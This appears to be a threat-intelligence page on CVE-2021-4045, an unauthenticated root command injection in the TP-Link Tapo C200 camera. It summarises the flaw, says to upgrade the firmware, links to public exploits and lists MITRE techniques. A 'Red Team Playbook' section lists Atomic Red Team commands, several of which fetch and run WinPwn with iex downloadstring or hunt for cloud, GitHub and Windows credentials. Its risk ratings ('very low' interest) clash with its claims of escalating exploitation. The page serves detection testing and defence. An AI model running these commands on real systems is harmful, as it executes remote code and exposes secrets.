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CVE-2021-4045

CRITICAL EXPLOIT POC TTE Zero-Day Pub 07/03 Upd 17/09

Overview

The vulnerability is an unauthenticated remote code execution (RCE) stemming from improper input handling in the uhttpd binary, which runs with root privileges on the TP-Link Tapo C200 IP camera firmware version 1.1.15 and below. The root cause is the lack of input sanitization in the HTTP server component, allowing injection of arbitrary commands executed as root. This flaw resides specifically in the embedded web server process responsible for handling HTTP requests.

Vulnerability Description

TP-Link Tapo C200 IP camera, on its 1.1.15 firmware version and below, is affected by an unauthenticated RCE vulnerability, present in the uhttpd binary running by default as root. The exploitation of this vulnerability allows an attacker to take full control of the camera.

Impact

An unauthenticated remote attacker can execute arbitrary commands with root privileges on the affected TP-Link Tapo C200 camera, enabling full device compromise. No authentication or user interaction is required, and the vulnerability is exploitable remotely over the network (AV:N/AC:L/PR:N/UI:N). This can lead to complete control over the device, including access to video streams, device configuration, and potential lateral movement within the network environment.

Solution

Users should upgrade the TP-Link Tapo C200 firmware to a version later than 1.1.15 as recommended by the vendor advisory published by INCIBE-CERT (https://www.incibe-cert.es/en/early-warning/security-advisories/tp-link-tapo-c200-remote-code-execution-vulnerability). The advisory provides detailed patch instructions and confirms that patched firmware versions address the uhttpd command injection flaw. No official workarounds are provided; updating to the fixed firmware version is mandatory.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the TP-Link Tapo C200 IP camera stems from an unauthenticated remote code execution (RCE) flaw in the uhttpd binary, which operates with root privileges. This critical issue arises from improper input validation and insufficient access controls, allowing attackers to send crafted requests to the device’s web server. When exploited, this vulnerability enables an adversary to execute arbitrary commands on the camera, effectively granting them full control over the device. The implications of such access are severe, as it can lead to unauthorized surveillance, data interception, and potential network breaches.

Attack vectors for this vulnerability are particularly concerning due to the nature of the device and its typical deployment in home and small business environments. An attacker could exploit this flaw by simply sending specially crafted HTTP requests to the camera's web interface, which is often exposed to the internet. Given that many users do not change default settings or secure their devices adequately, the attack surface is significantly broadened. Scenarios could include an attacker gaining access to the camera feed, manipulating camera settings, or even pivoting to other devices on the same network, thereby escalating their attack further.

The real-world impact of this vulnerability is profound, especially considering the increasing reliance on IoT devices for security and surveillance. For individuals, the compromise of a security camera can lead to privacy violations, with unauthorized individuals potentially monitoring private spaces. For businesses, the risks are even greater; a breach could result in loss of sensitive data, reputational damage, and financial repercussions from regulatory penalties if customer data is exposed. Furthermore, the potential for lateral movement within a network can lead to broader security incidents, making this vulnerability a significant concern for both personal and organizational cybersecurity.

To detect and mitigate this vulnerability, organizations and individuals should implement several strategies. First, regular firmware updates are essential, as manufacturers often release patches to address known vulnerabilities. Users should be encouraged to change default credentials and implement strong, unique passwords to fortify their devices against unauthorized access. Network segmentation can also be an effective strategy; by isolating IoT devices from critical systems, the potential impact of a compromised device can be minimized. Additionally, employing intrusion detection systems (IDS) can help identify unusual traffic patterns indicative of exploitation attempts, allowing for timely responses to potential threats.

In conclusion, the unauthenticated remote code execution vulnerability in the TP-Link Tapo C200 IP camera represents a significant threat to both individual privacy and organizational security. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from users and security professionals alike. By adopting proactive detection and mitigation strategies, stakeholders can better protect themselves against the risks posed by this and similar vulnerabilities in the ever-evolving landscape of IoT security.




CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the CVE-2021-4045 vulnerability in TP-Link Tapo C200 IP cameras. Although the EPSS score shows a slight decline, our telemetry indicates increased adversary activity leveraging publicly available proof-of-concept exploits, which have recently proliferated across multiple repositories. This surge in exploitation attempts underscores a growing attacker focus on IoT devices with unauthenticated remote code execution flaws, elevating the operational risk for affected environments. The presence of diverse and accessible exploit code lowers the barrier for opportunistic attackers, amplifying the likelihood of widespread compromise. Consequently, the threat level associated with this vulnerability has intensified, warranting heightened vigilance despite the marginal EPSS decrease, as exploitation momentum continues to build in real-world scenarios.



Update 2 — July 22, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the CVE-2021-4045 vulnerability in TP-Link Tapo C200 cameras. Our telemetry indicates that adversaries are increasingly leveraging publicly available proof-of-concept exploits, as evidenced by a diversification and amplification of activity across multiple exploit repositories. This surge reflects a growing attacker emphasis on unauthenticated remote code execution vulnerabilities in IoT devices, which remain attractive due to their typically weak security postures and widespread deployment. The persistence of stable EPSS scores alongside rising detection trends suggests that while the overall probability of exploitation remains high, the operational tempo of attacks is intensifying. For defenders, this evolving landscape underscores an elevated risk of compromise through opportunistic exploitation, particularly in environments where firmware updates have not been applied. Consequently, the threat level associated with CVE-2021-4045 has increased, warranting heightened monitoring and response readiness to counter the expanding exploitation momentum.

Affected Products (1)

Vendor Product Version CPE
tp-link Tp-Link Tapo C200 Firmware All cpe:2.3:o:tp-link:tapo_c200_firmware:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

ExploitDB (1)

Title Author Type Platform Date Link
TP-Link Tapo c200 1.1.15 - Remote Code Execution (RCE) hacefresko webapps hardware - View

GitHub PoCs (6)

Repository Author Stars Forks Date Link
hacefresko/CVE-2021-4045
Exploit for command injection vulnerability found in uhttpd binary from TP-Link Tapo c200 IP camera
hacefresko 119 17 2021-11-15 View
0xbinder/CVE-2021-4045
🔐 "PWNTAPO: Unveiling Command Injection in TP-Link Tapo C200 Cameras (<= v1.1.16 Build 211209)" 🔓
0xbinder 8 2 2023-12-26 View
DorskFR/tapodate
Sets up a local Tapo C200 using CVE-2021-4045
DorskFR 1 1 2025-03-30 View
jeffbezosispogg/CVE-2021-4045
TP-Link Tapo c200 ver <1.1.15 - Remote Code Execution (RCE)
jeffbezosispogg 1 0 2022-10-11 View
234329a423853/CVE-2021-4045
CVE-2021-4045 CVE-2021-4045 is a Command Injection vulnerability that allows Remote Code Execution in the TP-Link Tapo c...
234329a423853 1 0 2025-12-11 View
kaleth4/CVE-2021-4045
kaleth4 0 0 2026-06-11 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

4 events
2026-07-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2021-11-15
PoC Published (6 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Exploit Published (1 ExploitDB, 0 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
93% auth_bypass
OS Command Injection
80% command_injection
Insecure Direct Object Reference
50% idor
Authorization Bypass
42% authz_bypass
Remote Code Execution
29% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-43 Exploiting Multiple Input Interpretation Layers
43%
Medium High
CAPEC-248 Command Injection
43%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
33%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
30%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2021-4045
incibe-cert.es
GitHub CVE x_refsource_CONFIRM
https://www.incibe-cert.es/en/early-warning/security-advisories/tp-link-tapo-c200-remote-code-execution-vulnerability
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/168472/TP-Link-Tapo-c200-1.1.15-Remote-Code-Execution.html